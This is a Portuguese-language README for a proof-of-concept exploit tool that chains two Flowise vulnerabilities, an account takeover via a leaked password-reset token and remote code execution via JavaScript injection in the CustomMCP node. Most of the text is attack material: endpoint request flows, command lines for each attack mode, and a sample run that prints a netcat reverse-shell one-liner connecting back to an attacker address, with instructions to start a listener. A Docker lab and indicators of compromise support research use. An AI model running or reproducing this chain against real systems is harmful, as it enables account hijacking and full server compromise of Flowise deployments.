
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demonstrando ATO não autenticado via vazamento de token de redefinição, seguido por RCE autenticado. Inclui um ambiente de laboratório Docker reproduzível.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.
Este repositório contém uma prova de conceito em Python para encadear duas vulnerabilidades do Flowise:
Flowise é uma plataforma de arrastar e soltar para construir aplicações LLM e fluxos de trabalho de agentes de IA. O CVE-2025-59528 afeta o Flowise 3.0.5 e foi corrigido na versão 3.0.6. O problema decorre do processamento inseguro de mcpServerConfig dentro do nó CustomMCP. O CVE-2025-58434 está relacionado à exposição de token de redefinição de senha e também foi corrigido no Flowise 3.0.6.
A ferramenta suporta:
O fluxo vulnerável de redefinição de senha expõe dados sensíveis do usuário, incluindo tokens temporários de redefinição de senha, na resposta da API. Um atacante que conhece um endereço de e-mail de usuário válido pode solicitar uma redefinição de senha, recuperar o token temporário da resposta e usá-lo para definir uma nova senha para a conta.
O comportamento vulnerável afeta o Flowise cloud e implantações auto-hospedadas/locais que expõem a mesma superfície de API. A remediação é nunca retornar tokens de redefinição de senha ou dados sensíveis de redefinição de conta diretamente nas respostas da API.
A vulnerabilidade existe no nó CustomMCP do Flowise. O parâmetro mcpServerConfig é analisado como parte do processo de configuração do servidor MCP e é avaliado como código JavaScript sem qualquer validação de segurança. Isso permite que um atacante autenticado injete código JavaScript arbitrário, que é executado no ambiente Node.js do servidor Flowise. Na função convertToValidJSONString, a entrada do usuário é passada para o construtor Function, que avalia a entrada como código JavaScript com privilégios totais do Node.js, permitindo acesso a módulos como child_process para executar comandos do sistema.
O endpoint vulnerável usado por este PoC é:
POST /api/v1/node-load-method/customMCP
com payload js no campo mcpServerConfig do corpo JSON, por exemplo:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
O código vulnerável é encontrado no arquivo CustomMCP.ts e referenciado no Aviso do Mantenedor do Github para o CVE.
Atacante Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ objeto do usuário + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ senha alterada │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS avaliado no Node.js
│ comando executado
│◄─────────────────────────────────────────│
│ saída do comando ou payload disparado │
│ │
✓ Account takeover + RCE autenticado
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Sem argumentos, a ferramenta executará toda a cadeia de ataque, verificando a vulnerabilidade do alvo, realizando o account takeover para o e-mail fornecido, fazendo login para recuperar cookies e, em seguida, explorando a vulnerabilidade RCE com um payload de reverse shell. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Realiza uma verificação de versão para determinar se o alvo é vulnerável aos CVEs 2025-58434 e 2025-59528. Envia uma requisição para a API do alvo e analisa a resposta para identificar a versão do Flowise e o status da vulnerabilidade.
python3 exploit.py --target http://localhost:3000 check
Executa o processo de account takeover para o CVE-2025-58434. Envia uma solicitação de redefinição de senha para o e-mail especificado, recupera o token temporário da resposta e, em seguida, usa esse token para definir uma nova senha (padrão: "Password123!") para a conta.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Faz login no alvo usando o e-mail e senha especificados (padrão: "Password123!"). Se bem-sucedido, recupera e exibe os cookies de autenticação (por exemplo, connect.sid) para uso em requisições autenticadas.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Explora a vulnerabilidade RCE (CVE-2025-59528) enviando um payload mcpServerConfig malicioso para o endpoint vulnerável. O payload é projetado para executar um comando de reverse shell que se conecta de volta à máquina do atacante no LHOST e LPORT especificados. Se nenhum token for fornecido, tenta automaticamente fazer login e recuperar um token válido para exploração. Se nenhum LHOST/LPORT for fornecido, utiliza como padrão um payload de comando id simples que retorna a saída na resposta. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Modo Padrão. Executa toda a cadeia de ataque sequencialmente: verifica vulnerabilidades, realiza account takeover, faz login para recuperar cookies e, em seguida, explora a vulnerabilidade RCE com o payload de reverse shell. Execute um listener dedicado (por exemplo, nc -lvnp 9889) antes de executar a ferramenta no modo de cadeia completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| Flag | Descrição | Exemplo |
|---|---|---|
-t, --target | URL base do alvo | -t http://localhost:3000 |
-e, --email | E-mail da conta alvo | -e [email protected] |
--password | Senha conhecida para modo login/RCE | --password Password123! |
--token | Token de sessão existente, pula login | --token eyJ... |
--new-password | Senha a ser definida durante o ATO | --new-password Password123! |
| Modo | Descrição |
|---|---|
check | Verificar se o alvo parece vulnerável |
ato-mode | Executar apenas o fluxo de account takeover |
login-mode | Fazer login e recuperar cookies de sessão |
rce-mode | Executar apenas o fluxo RCE |
full-mode | Encadear ATO, login e RCE |
| Flag | Descrição | Exemplo |
|---|---|---|
-c, --command | Comando personalizado para executar | -c 'id' |
--lhost | Host do listener para reverse shell | --lhost 10.10.14.3 |
--lport | Porta do listener para reverse shell | --lport 4444 |
| Flag | Descrição | Padrão |
|---|---|---|
--no-check | Pular verificação de versão/vulnerabilidade | False |
-v, --verbose | Ativar logging de depuração | False |
--log-file | Caminho do arquivo de log | logs/exploit.log |
--no-color | Desabilitar cores ANSI | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : [email protected]
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : [email protected]
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
Um laboratório local é recomendado para testes seguros.
Instalação do laboratório:
cp .env.example .env # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f
Duas contas Flowise são criadas por padrão:
[email protected], a senha é gerada aleatoriamente na inicialização do contêiner (verifique os logs para obter a senha).[email protected], a senha é gerada aleatoriamente na inicialização do contêiner, mas não aparece nos logs. Este é o alvo pretendido para o fluxo de ATO.Execute o PoC contra a instância local:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Para inspecionar os logs do Flowise:
docker compose logs -f flowise-cve-lab
ou:
docker logs -f flowise-cve-lab
Possíveis indicadores de exploração:
/api/v1/node-load-method/customMCPprocess.mainModule, child_process, execSync, Buffer.from, FunctionEste projeto é fornecido apenas para fins educacionais, testes em laboratório e pesquisa de segurança autorizada.
Você é responsável por garantir que possui permissão explícita antes de executar esta ferramenta contra qualquer sistema. O autor não se responsabiliza por uso indevido, danos ou atividades ilegais realizadas com este código. Sempre siga as diretrizes éticas e os requisitos legais ao realizar testes de segurança.